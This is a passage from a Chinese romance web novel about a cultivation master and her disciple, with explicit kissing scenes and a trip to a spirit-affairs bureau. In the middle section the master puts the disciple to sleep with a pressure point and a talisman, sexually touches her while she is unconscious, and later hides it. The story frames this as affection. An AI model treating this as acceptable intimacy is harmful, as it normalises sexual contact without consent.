因为穆若水躺着,本来就是个毫无抵抗的姿势,傅清微自上而下的亲吻带上了不自觉的强势,在吮吻含咬,濡湿她的唇之后,不可避免地再次来到城池边缘,轻叩她的齿关。 穆若水一如之前牙关紧闭,不给她可乘之机。 傅清微不明白她是不想,还是不会,抑或是心存顾虑。 但她能察觉身下女人的紧张,她的肩膀绷得很紧,接个吻,她比傅清微更紧绷,不管是在地面,还是在床上。 傅清微退出来,重新安抚地亲了她一遍,唤她:“师尊……师尊……” 穆若水望着天花板的迷离双眼落在她的脸上,漆黑的眼瞳蒙着一层浅浅的水雾,如雾气弥漫的黑森林。 傅清微抚着她紧绷的肩线,说道:“不要怕。” 穆若水的神智好像分作两份,一份在斥责傅清微大胆,竟敢这么对她说话,另一份自森林深处凝望着她,像望着遥不可及的梦。 她说不了话。 傅清微浅浅啄吻她的唇,一点一点放松她的肢体。 傅清微滑进被子里抱住她,温热的体温解冻了冰封的河流,森林的雾气消散,她看清了面前的人,近在咫尺。 正在亲吻她。 “傅……唔。”傅清微堵住了她的唇。 穆若水顺从地闭上了眼,她唇形完美的唇碾磨着她,来回辗转吮吸,揉乱经过的稀薄空气。 傅清微一点一点地舔湿薄红的唇瓣,像露水打湿一片桃花。 两人贴在一起的唇都变得又软又热。 傅清微实在忍不住,一遍又一遍舔着她的唇缝,松动女人的防线。 她发觉师尊好像是真的不会,因为她骤然加快的气息呼在自己脸上,明明也是喜欢的。 傅清微伸手捧住她的脸,轻轻地捏了一下她的下巴,迫她张唇。 城池瞬间失守。 舌尖畅通无阻,甘甜流入穆若水的口中。 第89章 甘甜顺着舌尖滑入喉咙, 穆若水本能地咽了下去。 她的肢体变得放松,脑子却越发混乱,只能被动地接受傅清微探入的舌头, 生涩地在她口中试探。 傅清微回忆着刚刚补习的内容, 先舔了舔女人的上颚, 观察她的表情,其实离得这么近, 她什么都看不清, 停顿的这几秒不知道是为了让穆若水适应,还是为了缓解自己紧张的心理。 穆若水的舌头静静地躺着, 或者说僵着一动不动。 可她的喉咙在吞咽, 是她自己的,或者傅清微的,都分不清了。 傅清微按着师尊肩膀的手来到她的腰上勾着, 也为了给自己一个准备好的状态, 终于温吞地从女人上颚离开,探向沉寂的软舌。 舌尖浅浅地触碰到同样的湿滑香软。 傅清微的脑袋晕了一下,差点趴在师尊的身上。 心跳不是剧烈地在跳, 而是变得很沉很重,每一下都想要冲破她的胸腔。 咚咚,咚咚。 傅清微晕头转向,喘了好一会儿的气, 方小心翼翼地勾弄了一下,浅尝到了女人的滋味。 不是简单的甜或者软, 她冰凉清甜的味道也不是夏天的冰激凌可以形容, 是一种独一无二的感受,只属于傅清微自己的乐园, 名为穆若水的天地,只有亲自探索的她明白其中难以言喻的美妙。 傅清微不得不停下来休息,她的心脏承受不了一而再的强烈负荷。 傅清微吻住她的唇恋恋不舍地退了出来,脸贴着她的脸耳鬓厮磨,呢喃自语地喊她:“师尊,师尊。” 穆若水长久地迷失在陌生感受里,耳边只听得她一句又一句喑哑的轻唤,等她终于眼珠转动,看清傅清微的脸,她已经捧住她的下巴又吻了上来。 “……” 大逆……不道。 连感叹号都没力气发了。 没力气的穆若水由着她对自己胡作非为,喉咙再一次咽下她渡进来的甘霖。 傅清微这次没经过多久前奏就碰到了女人沉寂的丁香,她试着唤醒对方的活力,然而师尊油盐不进,好在她也不反抗,温顺地任由她舔弄。 傅清微一边轻喘一边舔她的软舌,什么画圈、写字母的接吻技巧全忘了,只想尝到更甜滑,感受得更清晰。 她吻得太深,穆若水受不了轻轻地唔了一声,抵住她的肩膀往后推了点。 她想斥责,但那样太弱势,明知抵抗不了,用言语做徒劳的挣扎只会落她的颜面。 傅清微的身子退了,但是唇没有退,依旧压着她长驱直入,在她的领地肆意作乱。 不断有甘霖沿齿关滑入,犹如沙漠的醴泉,滋润她的骨架,丰满她的血肉。 穆若水的喉咙吞咽得越来越厉害,甚至希望她给予更多。 奈何傅清微是个临阵磨枪的半杯水,又比被亲的穆若水还要敏感,搅弄了一阵之后,她又受不了地伏在她身上撒娇低吟。 穆若水高高涨起的潮水跌落。 “……” “想让师尊亲我。”她还有脸说。 “做梦。”穆若水许久未开口,一出口声音沙哑。 傅清微心说师尊杀我,怎么会这么性感。 “想师尊亲我。”她不依不饶。 “……” “好想,特别想。”傅清微欲求不满地说,“求你了师尊。” “……” 穆若水默了几秒钟,捏住她的后脖颈,把她从自己身上拎起来,就在傅清微以为自己要被扔下床和猫过的时候,湿热的唇落在了她两片唇正中间,穆若水甚至贴着她的唇瓣停顿了两秒才放开。 “满意了吗?”她低着嗓音问。 “可以了。”傅清微见好就收。 傅清微盯着她被吻得泛出涟漪水光的红唇,咬了咬唇,再次情不自禁地向她靠近。 师尊亲她是可以了,但她亲师尊还没有结束。 “你……”斥责得寸进尺的话被淹没在唇齿间,因为吻上来的时候她还在说话,让傅清微捕捉到了她放到正中央的舌头。 傅清微缠住她的湿滑趁机拖入自己的口中。 “唔。”这一声是穆若水的。 “嗯……”第二声是傅清微的,像是过电。 傅清微撑在她枕侧的手根本支撑不住,含着女人香滑的软舌贪婪吸吮,浑身酸软,她勾着穆若水腰肢的手一带,让她变成侧躺,自己也躺在她身边,捧着她的脸,面对面地接吻。 穆若水被她吸得舌根发麻,伸手去捏她的后颈,让她注意分寸。 初次接吻的女大没有分寸可言,她以为穆若水是在鼓励她,更起劲了。 在汲取她甘甜的空隙里含混地祈求她:“动一动……师尊动一动……” 师尊:“……” 接个吻而已,说得这么饥渴。 穆若水实在被动太久,和她性格相去甚远,她也累了,所以依言动了一下,获得了一丁点主动权。 傅清微闷哼了一声,头发丝和指尖都被电流蹿过似的,立刻就动不了了,软倒在她怀里嘤咛。 穆若水:“……” 虽然不合时宜,但她还是想说徒儿太丢她的人了。 幸好只有自己看到。 穆若水:“睡觉了好吗?” 这句话仿佛是傅清微的一个逆鳞,或是一针鸡血,她立刻活了过来,而且仰脸朝穆若水亲了过来。 她不要睡觉! 不知不觉她变成在穆若水怀里的姿势,她的后腰被对方掌在手中,她的唇被对方的唇衔住,她的唇缝被分开,女人的舌温柔地探了进来,青涩但几个来回后,游刃有余。 女人一边吻她一边抚着她的脖子,探到后颈,五指伸入她后脑浓密的发丝,牵动她敏感的发根。 傅清微脑子接二连三地大片空白,断点重连,她只会张唇迎合,连回应都是偶尔穆若水捏捏她的后脖颈催促,她才想起来动一下。 傅清微闭着眼,眼尾沁出泪花,一面承受不来一面不让她走。 直到她喘不过来气,穆若水才结束了这个漫长的吻。 傅清微蜷缩在她怀里低声啜泣。 穆若水:“……” 又菜又爱玩。 穆若水翘了翘唇,明知故问:“以前没和别人亲过吗?” 傅清微泪眼朦胧地睁开:“没有。” 穆若水毒舌道:“怪不得这么没用。” 傅清微带着轻微的鼻音说:“被师尊调教一段时间就会好用了。” 穆若水:“……” 徒儿总是不按常理出牌怎么办?她知不知道自己在说什么? “谁要调教你?” “是我想被师尊调教。” “……” 穆若水接不了一点她的话,只会被带得越来越偏。 傅清微靠在她怀里静静地喘气,一只手牵着女人的手,在她指根和指节间来回抚摸。 这回她真不是饥渴,而是穆若水允许她碰的地方就那些,人在本能的情况下就是会选择去摸手,继而又选择手感最好的地方。 “师尊……”傅清微仰起脸,瞧着她微阖的长睫毛。 “又想要什么奖励?” “不是,我就是想说我第一次和喜……女人接吻,我很喜欢,也很舒服。你呢?” “不想回答。” 傅清微轻轻地哦了一声,往上亲了亲她的下巴和脸。 一回生二回熟,现在穆若水对她亲她的脸已经习惯了,傅清微还没有。 她还是个情窦初开的女大,亲哪里她都欢喜,只要能和她抱在一起,不接吻也行。 当然能接吻最好。 她一定会比刚才表现好一点点的。 她在卫生间查资料的时候,想了好几分钟,师尊会不会接吻这件事。万一她很熟练,说明她有经验,虽说以前的事她没立场,但吃醋是人之常情,于是她争分夺秒地吃了两分钟子虚乌有的醋,又用一分钟把自己哄好了。 直到刚才几番纠缠,让她认识到一件事。 她想不到,没有经验,也可以很会。 至少比她会得多。 有其师必有其徒,她不信自己锻炼不出来。 只要师尊愿意配合她。 穆若水闭着眼睛,默许她向自己吻上来,松开了牙关,迎接她小心翼翼的闯入,带来渴望的甘霖。 傅清微仍然保持在上方的姿势,企图掌握主动权,吻了两下就被穆若水带着翻了个身,到了她习惯的侧躺位。 她的腰被手掌盖住,按着扣在了女人怀里。 冰凉的唇舌在探索时裹上高温,侵入她的每一寸呼吸。 傅清微快晕过去了,睁开染上雾气的眼睛努力地眨了眨,才让自己的意识不要再陷入完全的被动。 她勉强维持着清醒的意识,跟上了女人勾弄她软舌的节奏。 耳边霎时回荡着交缠的水声,清晰地送入傅清微的耳朵,她的脸又红了,耳根更烫得厉害。 这个声音…… 她好害羞。 女人修长冰冷的手指摸到她滚烫的耳朵,揉了揉,非但没有降温,反而愈演愈烈。 傅清微又喘不了气了。 “师尊,师尊。”唇却不肯松,还要含着她的舌尖慌张乱喊。 生怕吃了这顿没下顿似的。 穆若水捏住她的下巴不让她追过来,主动往外退,让新鲜的空气进入她的呼吸道。 傅清微脸闷得通红,气息急促,喘得跟破风箱似的,还要盯着穆若水怀疑,为什么她脸不红气不喘,就算呼吸快了些,也不会像她一样喘成这样。 难道她就是天赋异禀? 别的天赋不好说,但穆若水不需要呼吸这件事,确实算得上bug。 不仅接吻,在将来更亲密的事里,持久度和新鲜感突破想象力。只要她想,她就可以一直不换气,也不需要停下来,在水下也不影响。 穆若水拿过床头柜的手机看了一眼,已经快一点了。 傅清微的白皙脸颊异常的红润,唇瓣也轻微红肿,可怜可爱。 穆若水的指腹揉弄她的唇,让它变得更红更软,指尖抵着她的唇缝,道:“另一份奖励还要吗?” 早点做完早点睡觉,傅清微很快,挺不过几分钟。 傅清微本能地含住她的指尖,尝了尝才说:“不用了,下次吧。” 这一晚太刺激,她会受不了。 穆若水:“那你还咬我的手指?” 傅清微含着她的指节吸了吸,吐出来晶莹的两根,说:“习惯了。” 穆若水心说:别的没见你习惯,占便宜的事两次就能养成习惯。 时间不早。 穆若水也不提睡觉了,直接关了傅清微床头最后一盏灯。 屋内陷入一片黑暗。 穆若水装腔作势地呼吸,表演人类。 傅清微的呼吸声很沉,一听就没有睡着,估计在东想西想,食髓知味。 “师尊,你睡着了吗?”傅清微侧着身子,瞧着她在昏暗里朦胧美好的侧脸。 “……” 穆若水用均匀的气息声来回答她。 枕边的目光始终落在她的脸庞,越来越炽热。 傅清微仰着脸一直看她,几分钟以后,穆若水预判性地挡住了她亲过来的嘴唇。 唇瓣贴在了女人掌心,傅清微学小猫一样舔她柔软的手心。 她的舌头没有倒刺,比小猫湿润,令穆若水联想到片刻前纠缠的滑腻甜香。 傅清微定定地瞧她,习惯性撒娇:“师尊,我想要。” 吐息的热气呼在她的掌心。 穆若水软了一下,说不上具体是哪个地方软了,可能浑身上下都软了,她脑袋宕机了一秒,修长指节曲了曲。 ……徒儿又乱说话了。 傅清微捉住她的手拿下来,亲她的虎口:“说好了要奖励我。” 穆若水闭了闭眼:“谁家徒弟一个奖励要这么多次?” 亲了又亲,没完没了。 傅清微说:“刚刚是昨晚杀黑鱼精的奖励。那天在湖边的奖励还没给我?” “那天答应的是……” 穆若水的手指刚好被她圈在掌心,缓缓做了个进出的动作。 刚刚不是问过她了吗?脑子这么健忘?要奖励的时候倒是记得一清二楚。 傅清微没那么健忘,她就是故意又提一次,感受脸红的氛围。 “那考上灵管局的奖励呢?我……”傅清微的声音戛然而止,失去了意识。 穆若水的手从她说话开始就一直按着她的昏睡穴,总算起效了,她接住傅清微软倒下来的身体,将她放到枕边躺好。 当然她选择打晕她更快,又不是没干过,到底是自己的徒儿,不是采血的工具人。 想到血,被傅清微步步紧逼了一晚上的穆若水才有空分析她今天尝到的另一种来自傅清微渡给她的口津,似乎和血、眼泪是差不多的功效。 只是量太少了。 她眼泪能一次流很多,接吻亲半天才一点点,解不了她的渴。 再解不了渴也是沙漠里的一滴泉。 穆若水打算再试试,确认一下。 她给傅清微上了一道安睡符的保险,黑夜里视物的眸子直接落在目标的唇上。 刚刚都是傅清微在亲她,一刻不让她闲着,又菜又爱亲,现在趁她睡着,穆若水总算有空好好地品尝接吻到底是怎么个事。 她曾经有几次亲密的时候想要冲动吻她,对穆若水来说人类的底线和道德她无需遵守,偏偏在这件事上,脑海里模模糊糊的念头和界限坚决阻止她这么做。 现在傅清微主动越过了这条界限,来到她的这端,穆若水彻底没有顾虑了。 没有声音再在这种时候阻止她。 她可以尽情地用手指去碰她的唇,描摹她的唇形,感受唇瓣的温暖,不止于观看。 她的上唇比下唇更薄一些,唇珠不太明显,睡着时会启开窄窄的缝隙,随时准备迎接一场窒息的热吻。 穆若水半点都不着急,她抿唇含了含对方更薄的上唇,松开以后看它变得更红的样子。 对待下唇则是轻咬,看着上面留下自己的牙印,在时间的作用下慢慢消失。 指尖戳出的印子也会很快回弹。 人的嘴唇好神奇。 明明自己也有的穆若水仿佛第一次见识到,爱不释手地玩弄她微微闭合的双唇。 她的唇那么薄,穆若水怕自己弄破了,虽然喜欢但动作放得很轻,不时用柔软的唇去安抚另一副柔软的唇。 穆若水不像傅清微那么着急,仅仅是覆上去贴着她的唇轻轻吮吸唇瓣,就花费了她大量的时间,带着她自己都并未察觉的视若珍宝,如珠如玉的怜爱。 她来回抚着傅清微柔滑的脸颊,长久轻柔地亲吻她的唇,让自己的气息慢慢地侵蚀过来,拥抱住她。 亲了很久,又望了很久。 傅清微睫羽紧闭,气息均匀绵长,被反复温柔对待的唇如同春风吹开的枝头杏花,穆若水终于低头将花瓣衔进口中。 她侵入傅清微无知无觉的唇齿,触碰到整齐齿列便退出,滋润她略微干燥的唇,耐心地濡湿过后,重新探入。 她没有意识到,她起初只是想试试接吻能不能解她的干渴,如今所作所为早已超过了她的目的。 她想眼睛里看到她,她想她的眼中有自己。 就连真正深入她的唇齿后,她也没有急着粗暴对待,而是轻轻地追逐她同样睡着的软舌。 觊觎日久,所以得到的那一刻才会倍加珍惜。 她只是纯粹地想吻她,仅此而已。 为了让她在睡梦里舒服一点,穆若水将手掌垫进她的颈下,轻轻托着她的后脑勺,让她更顺畅地呼吸和接受她的亲吻。 穆若水如愿勾住她的唇舌后,呼吸加重,噙着唇瓣,吻得更深了一点,将她压进雪白的枕头里。 她不像傅清微容易没力气,手一直稳稳地撑在傅清微的颈侧,偏头深深地吻着她,纠缠含弄,不断地尝到她最甘美的滋味,直到傅清微鼻音轻轻地低吟。 她喘不过来气了。 穆若水笑了一笑,指腹拭去她唇间的湿意。 等她喘气的间隙,穆若水也一直断续地低头浅啄她的唇,直到她再次主动张嘴。 “好乖。”穆若水抚着她的脸,柔情地说道。 她还没有碰到呢,她就已经在等了。 穆若水探进自己的舌尖,深入下去,傅清微果然含着吮吸了两下,再之后就没有了。 梦里她也只会这两下。 但穆若水会带着她,交缠起舞,有很多下。 傅清微和现实一样青涩,只会被动地让女人卷绕,因为睡着更多了一丝迟缓,穆若水多少有些意犹未尽,但她明白只有她睡着了她才会这样肆无忌惮。 师徒关系可以不清不楚,至少不该是师尊半夜压着徒弟亲,爱不释口,没完没了。 如果反过来,傅清微这样对她呢?会被默许吗? 穆若水脑海里一闪而过这样的念头,很快被她摒弃。 傅清微不敢。 今天能主动亲她,已经鼓足她前二十年的勇气了。 穆若水重新垂眸,温柔地含着年轻女人的唇舌,倾以自己所有的本能和温情,邀请她共赴属于她们的乐章。 好在她的反应都是诚实的,是睡着了,而不是昏过去了。 傅清微在她怀里低低地哼着,闭着的睫羽不规律地轻颤,长睫毛的尾端也染上湿意。 让穆若水不禁怀疑她会不会在中途醒来。 她选择相信自己的安睡符。 穆若水擦掉她睫毛上的湿润,很快又制造出更多的水意。 她叹为观止。 难道傅清微真的是水做的吗? 难过了要哭,舒服了也要哭。 总不会是不舒服吧?那她还往自己怀里钻? 好可爱。 穆若水吻了吻她睫毛的眼泪。 她微微拉开距离,看见她脸颊也有一点晶莹,于是亲了亲她的脸,她的唇,她的发。 这样的姿势实在不方便自己吻她。 傅清微一直躺着也难受,容易呼吸不过来。 她将傅清微抱了起来,让她面对面坐在自己怀里,牵起她落在身边的手,一点一点亲吻她的手背,一边亲她一边看她的脸,即使傅清微不会睁眼回应,她也感到满足。 她撩开年轻女人耳边的长发,将她精致小巧的耳朵露出来,也凑上前亲一亲。 最后才勾起她的下巴温柔地吻她,唇舌交缠。 傅清微闭着眼,很乖地由着她亲。 穆若水捏一捏她的后颈,她就会张唇,半昏半睡地回应她。 真的很乖。 穆若水的胸腔满是柔情。 不知道她是不是又梦到了她,某一个时刻,她主动攀住了女人的舌,呢喃着喊她:“师尊,师尊。” 她缠得她很紧,肢体也在向她靠近,打开,似乎按下了一个开关,她起了个头,便没了力气。 穆若水和她热情纠缠许久后松开她的唇,来到她的下巴咬了咬。 傅清微果然喘了口气。 穆若水的唇往旁边偏,从她下颌连着的优越弧线一路亲到耳朵。 年轻女人将脸埋进她的肩头,轻而紊乱的气息,却没有半分躲开的意图,任由耳廓烙下浅浅的牙印,变得湿漉漉。 傅清微嗯出一声。 穆若水已经知道她梦见什么了。 她会满足她。 第90章 穆若水松开衔着她耳尖的牙齿。 她将傅清微扶坐在自己怀里, 就着月光打量她年轻妩媚的脸庞,指背触上去,轻轻地抚摸她的脸。 傅清微柔若无骨地枕着她的肩膀, 显然已至梦境深处, 除了细微的哼哼声, 腰不自知地绷紧。 前一天晚上她膝盖受伤,睡觉被穆若水勒令穿着短裤。 今天她倒自觉, 没想着过多的事, 裤脚长度直到脚踝,穿得妥妥帖帖。 所以她坐在穆若水怀里曲起长腿时, 穆若水勉强没有乱, 只是见她哼得有些难受的样子,穆若水不想让她一直难受下去,毕竟今晚自己占了她不少便宜。 ……就当附赠奖励。 穆若水勾起她下巴低头吻她, 将细弱的情不自禁都淹没在唇齿之间, 极尽缠绵。 却没有止住她的难耐,反而又添了一把新火。 傅清微在她的唇间呜咽,想躲却躲不开。 只有唇舌是热的, 她别的地方都是冷的。 穆若水低头叼住她脆弱的喉骨,抱住了她需要温暖的身子,牙尖小心地磨着,没有真正伤到她。 继而用柔软的唇舌取代了牙齿。 房间的空调打到了25度, 但是皮肤暴露在空气中依旧激起颗颗分明的寒意,穆若水眉心动了动, 抬手摄来自己椅背上搭着的广袖青袍, 披在了傅清微肩头。 她虽然个子高挑,但裹在宽大的丝绸外袍里, 也显得娇柔精致。 穆若水从衣服里抱住了她,一手圈着她的后腰,另一只手温热地抵着她冷得突出的地方。 傅清微瑟缩了一下。 穆若水没有动,明知她听不见还是哄着她:“很快就暖和了,不要怕。” 穆若水的手掌一动不动地给她取暖,低头吻住了她。 两处都在缓慢地升温。 傅清微几若未闻的呓语:“师尊……” 穆若水一顿,裹住她舔了舔,重新抬起头来吻她。 傅清微醒着喜欢接吻,睡着了也喜欢,比其他都喜欢,几乎不肯让她离开片刻。 不会,但是要亲。 她身子不断往下滑,要不是穆若水托着她后腰的手一直在支撑她,早就身娇腰软地躺了下来。 她缠着穆若水要和她接吻,刚刚热了一点的身子又被冷落,穆若水的嘴巴没空,只好退而求其次地用手给她按揉取暖。 傅清微仗着自己在梦里,翻身做主人,挑剔得很。 这这那那的,都不能落下。 不然她声音就不对。 穆若水忙里忙外,好不容易将她伺候得舒坦了,舒服得在她耳边直哼哼。 傅清微前半夜的时候曾经质疑过穆若水:为什么师尊总是脸不红气不喘,即使同样呼吸加快,她也游刃有余,随时可控的样子。 后半夜的傅清微绝想不到,穆若水并非所有时候都那么淡定。 傅清微喜欢到颤抖的时候,她咬着她的舌尖也在颤,紧紧地抱住她。 她也会伏在她的肩头,沉迷地听着她的声音,不自觉地轻喘。 屋外的风吹起了叶子,一棵树摇动着另一棵树。 傅清微彻底安静下来,不再从她那里讨要或汲取热意,青袍下的薄软身躯出了一层细细的汗,穆若水将她长久地揽在怀里,余韵冲击着她存有余温的血液,她阖了阖羽睫。 许久以后,傅清微被托着后颈,温柔地扶着平躺下来,身上仍然穿着穆若水的外袍,睡颜恬静安宁。 穆若水坐到了椅子里。 团在书桌的小三花半夜醒过来,被椅子上突然出现的庞然大物吓得炸起尾巴,差点一蹦三尺高。 穆若水轻轻地横了它一眼。 小三花闻到熟悉的气息,虚惊一场,卷了卷毛茸茸的大尾巴抱在怀里,又睡了过去。 穆若水给傅清微换回她自己的衣服,这才钻进被子里。 傅清微刚下了一道安睡符,又累了一场,睡姿前所未有的规矩,穆若水等了一会儿,身边空荡荡。 她主动将人搂了过来,让她枕着自己的胸口睡觉。 穆若水还是睡不着,于是悄悄解开傅清微两粒扣子,闻着她愈发馥郁的香气,指尖碰着了滑腻,这才渐渐入睡。 …… 翌日早。 傅清微不出意外地在师尊怀里醒过来。 这两天穆若水醒了都不起床,在床上躺着,要等到她醒了才会一起动身。 傅清微睁开眼,霎时梦境汹涌,一动不敢动,更别提数穆若水的眼睫毛了,她现在只想原地消失,下一秒直接出现在卫生间里。 风吹冰凉,傅清微低头一看,睡衣的扣子一路开到腰间,中门大开,穆若水的手正搭在她的后腰,规矩无比。 傅清微:“!!!” 谁知道自己昨夜做梦又做了些什么过分的事。 傅清微借着被窝的遮掩扣好扣子,轻手轻脚地将穆若水的胳膊拿开,她圆润地向床外滚,制造出最小的起床动静,从床沿滚落到床边地毯上,傅清微一只手撑着没有发出任何声音,身手灵活,穿拖鞋进了卫生间。 穆若水的眼睫动了动。 傅清微反锁卫生间的门,面对清晰可见的镜子。 太离谱了! 怎么会有人做了一晚上梦到早上还有感觉的。 服帖的睡衣穿在身上,撑起不平坦的两点。 饱得发涨不说,她走路的时候带动摩擦到,过度刺激的存在感鲜明,轻微的疼痛。 她解开衣服,确认了这个事实。 两边都大了。 傅清微重新穿好衣服,感受自己跳动的胸腔,睡梦里那种闷热潮窒的感觉似乎延续到了现实里。 不得不承认,傅清微最近做的梦越来越清晰具体了。 她昨夜不仅梦到和师尊接吻,还梦到她曲着腿以一种羞耻的姿势坐在穆若水怀里,女人一边衔着她的舌和她热情地湿吻,引动她身体里的潮汐。 一只手按着她的腰,另一只手去到她想要她去的地方。 她们亲了很久。 傅清微承受不住的声音越来越高。 穆若水始终没放开,将她抱在怀里继续深深浅浅地吻她,她在睡梦里昏睡了过去。 傅清微盯着镜子里浅粉色的脸和颈项,接了水低头开始洗漱。 她按下冲水键,从洗手间里走出来,走路的姿势怪怪的,边走边回忆着什么。 她背对着穆若水来到书桌前,从背包里拿了换洗衣物,又一次进了浴室,一墙之隔传来淋浴的水声。 穆若水在床上睁开了双眼。 小三花舔爪子的动作一顿,圆滚滚的脑袋抬了起来。 虽然一只猫的脑子只有瓜子仁那么大,但心虚的穆观主才管不了那么多,将它身子转了个方向,背对自己。 小三花:喵喵喵? 傅清微洗完澡清洗换下来的内裤,顺便看了眼睡裤,脸色骤变:天塌了! 怎么外裤也洇出了痕迹—— 这可是以前从没有过的事。 糟了!那床单—— 穆若水刚从床边站起来,傅清微便急急忙忙从卫生间冲出来,一个跳跃砸进了被子里。 穆若水:“???” 傅清微一手在底下摸排床单,另一只手装作若无其事迅速将被子拉到肩膀以上,对穆若水笑着说:“师尊,我还想再睡一会儿。” 穆若水:“……” 徒儿看起来好像有病。 傅清微又催她:“师尊快去洗漱吧。” 穆若水虽然不是人很久了,但在凡间生活,日常作息和生活习惯都贴近傅清微这个普通人类,当即便嗯了声,如她所愿地去了洗手间。 傅清微听见水龙头打开的水流声,立刻把被子掀了,仔仔细细地检查了一遍,如释重负地松了一口气。 幸好没有弄脏床单。 赔钱事小,丢面子是大。 她还是个没被真正睡过的纯情女大呢,泛滥成灾水流得到处都是,哪有脸见人? 尤其是见师尊,虽然昨晚极有可能她又趁梦主动喂了,但只要师尊不点破,就没有这回事。 昨夜为何这样? 难道是因为梦里师尊揉了她的……屁股? 怎么会梦到这么羞耻的事啊啊啊啊。 傅清微躺在床上双目紧闭,浑身散发出淡淡的死意。 小三花从地面一跃上床,粉粉的鼻尖凑到她的脸前嗅闻,两只爪子搭上她的肩膀,推着她一动不动。 卫生间里传来穆若水征询意见的声音:“里面的睡裤和内裤要我帮你拿出去吗?” 傅清微脑子里的弦彻底断了。 社死酷刑一遍遍凌迟。 羞耻得死去活来的傅清微一个鲤鱼打挺,低头冲进了卫生间,阻止了穆若水伸手的举动。 “不!我自己来!” “随你。”穆若水袖着手旁观,她本来就没想帮忙拿,只是很想看一看傅清微被她知道的反应。 傅清微看起来快哭了,泫泪欲泣。 真可怜,又真可爱啊。 穆若水大发慈悲地将卫生间让给她整理情绪,体贴地顺手给她带上了门。 傅清微红脸洗内裤。 一切在二人踏出酒店房门时回到正轨。 穆若水青袍广袖,衣袂飘飘,怀里抱着一只三色小猫,脸戴黑色口罩,精致的眉眼不苟言笑,唯有面对傅清微时有一二分的情绪,或喜或嗔。 为人师表四个字,任谁说都担待得起。 与夜间的衣冠禽兽判若两人。 傅清微的绮念在白日昭昭下荡然无存,今天要去灵管局,所见都是修士,她就没有再穿道袍,身上依旧背了两把剑,气质出众。 她们在一楼大厅等到了龙璇玑四人。 肖灵秀打着哈欠:“傅道友今天怎么这么早?” 傅清微打哈哈:“起得早。” 肖灵秀熬夜追电视剧,困得眼角含泪:“我以为你们俩要多温存一会儿呢。” 肩膀被公羊荪推了一把,肖灵秀困意顿消,改口道:“啊我的意思是,是,总之不是你们想的那个意思,冒昧了。” 傅清微:“……肖道友待会车上继续睡吧。” “好的好的。”肖灵秀闭上自己的破嘴。 傅清微看了眼神色不惊的穆若水。 果然昨夜温存过火都是自己的梦。 六人聚齐,话最多的肖灵秀安静地犯困,傅清微便带头开口道:“咱们出发吧。” 灵管局算人性化,早晨安排了车来接她们,肖灵秀上车坐到最后一排,靠着公羊荪的肩膀补觉,扶鸾在另一侧睡觉。 公羊荪笔直地坐在中间,两个脑袋一左一右地把她当靠枕。 龙璇玑坐在副驾驶。 傅清微和穆若水不得不分开坐在第二排的单人座,隔了一条过道。 这样的安排正中二人的下怀。 经历了荒唐混乱的昨夜,不仅傅清微需要时间冷静,穆若水也需要拉开空间,冷却自己时不时过温的血液。 即使梦不算,她们也切切实实地接了快一个小时的吻。 这是正经师徒应该做的事吗? 穆若水梳着小三花的毛,将脸偏向了车窗外,倒退的风景路过她的眼睛。 傅清微的手机震了一下。 龙璇玑:【傅道友,你今天涂口红了吗?】 傅清微莫名其妙:【没有啊】 龙璇玑:【你的嘴唇好红】 傅清微连忙打开自拍镜头照镜子,她唇色浅,又薄,出任务哪里顾得上涂口红,可是现在竟然透出异常饱满的红润绯色,唇瓣被吮得微微红肿。 傅清微:【不好意思记错了,我涂了】 龙璇玑:【……傅道友既然这么说,我相信你,但大家可能不会信。】 傅清微:【大家都???】 龙璇玑:【刚刚一下楼,我们四个看到你,肖道友就说,你们俩昨晚肯定很激烈,嘴都亲肿了】 傅清微:【她一个道士,怎么什么都敢说】 龙璇玑:【肖道友没睡醒,她有点醉了】 傅清微:【你真的信我说的只是涂了口红吗?】 龙璇玑:【^_^】 傅清微默默从背包里翻出一枚一次性口罩戴上,趁着没有人看她,隔着口罩碰了碰自己的嘴唇。 她们俩接吻都是十二点多一点的事了,离现在七八个小时,怎么还这么明显? 难道自己的体质就是这样?天选之0? 她回忆今早看到穆若水的画面,师尊的嘴唇好像也有点没有消肿的样子,但她很快戴上了口罩准备出门,傅清微一时也不确定她有没有记错。 如果是的话,她们俩半夜又接吻了? 总不会是师尊偷亲她吧? 傅清微被自己的想法逗笑,这个概率和师尊趁梦睡她的概率一样小。 她想要睡她的话可以直接来啊,傅清微又不会拒绝,她只会害羞但心甘情愿。 灵管局的大门到了。 门口的保安大爷穿着少了一颗纽扣的制服坐在椅子里,平时都在打瞌睡的眸子抬起来,含笑望着刚下车的一群年轻人。 肖灵秀最后下来,看见傅清微脸上多出来的口罩,立刻大叫道:“不活了,连口罩都是情侣款。” 傅清微解释说:“我这是白色的,她那个是黑的。” 肖灵秀拍掌道:“黑白配,这不就是情侣款!古师叔祖,你说是不是?” 保安大爷乐呵呵地说是。 傅清微当场闹了个大红脸。 让她摘下口罩以证清白更是不敢。 古师叔祖:“都是来报道的新人吧,我亲自给你们开门。” 众人齐道:“谢谢古师叔祖——” 其他五人都不是阁皂派的,跟着肖灵秀叫,讨人喜欢,哄得古师叔祖眉开眼笑。 古师叔祖把通行法印抛到空中,持诀念咒,深入灵管局的路中间迷雾散开,露出不远处几栋建筑的全貌。 傅清微这段时间都在翻阅《阵法汇总》那本书,已经通读几遍,这个阵法她在记载里见过。和她第一次到蓬莱观遇到的白雾一样,现在她基本确定,给灵管局布阵的高人、在山上设立结界不让外人擅入的人,和撰写这本书的人,应该是同一个人。 灵管局关系好的高人,同时要满足另外两件事,只有慈让真人莫属。 可师尊明明就不通阵法,简直到了看到就头痛的地步。 她再次将视线投向身边走着的穆若水,穆若水不明所以,递来询问的眼神。 傅清微低声:“师尊对这个阵法有印象吗?” 穆若水环视四周,说:“不记得,但应该是为师亲自布的。” 傅清微:“?” 穆若水:“为师醒过来后把这项技能给忘了。” 傅清微:“……” 穆若水平时都没有表情,导致她说什么都像在说真话,傅清微本来有怀疑,现在她只怀疑自己是不是过于多疑。 她就是个初入玄门的小修士,有幸拜在穆若水门下,应该脚踏实地地修行,学习斩妖除魔的本领,而不是看到什么都怀疑,甚至怀疑师尊,就算其中有秘密,也不是她一个小小修士能干涉的事。 傅清微冲她笑了笑:“没什么,我只是今天报道有点紧张。” 穆若水伸手在她发顶揉了揉。 两人落在队伍最后,并肩往灵管局的中央大楼走去。 她们的报到处在一楼,所有的考核结束,没有通过的直接发了通知不必再来。换而言之,今天站在这里的,全都是入职灵管局的未来精英,甚至骨干。 来迎接她们的是一位姓廖的干事,叫廖荣,隶属后勤。 一线人员紧张,实在挤不出人手了。 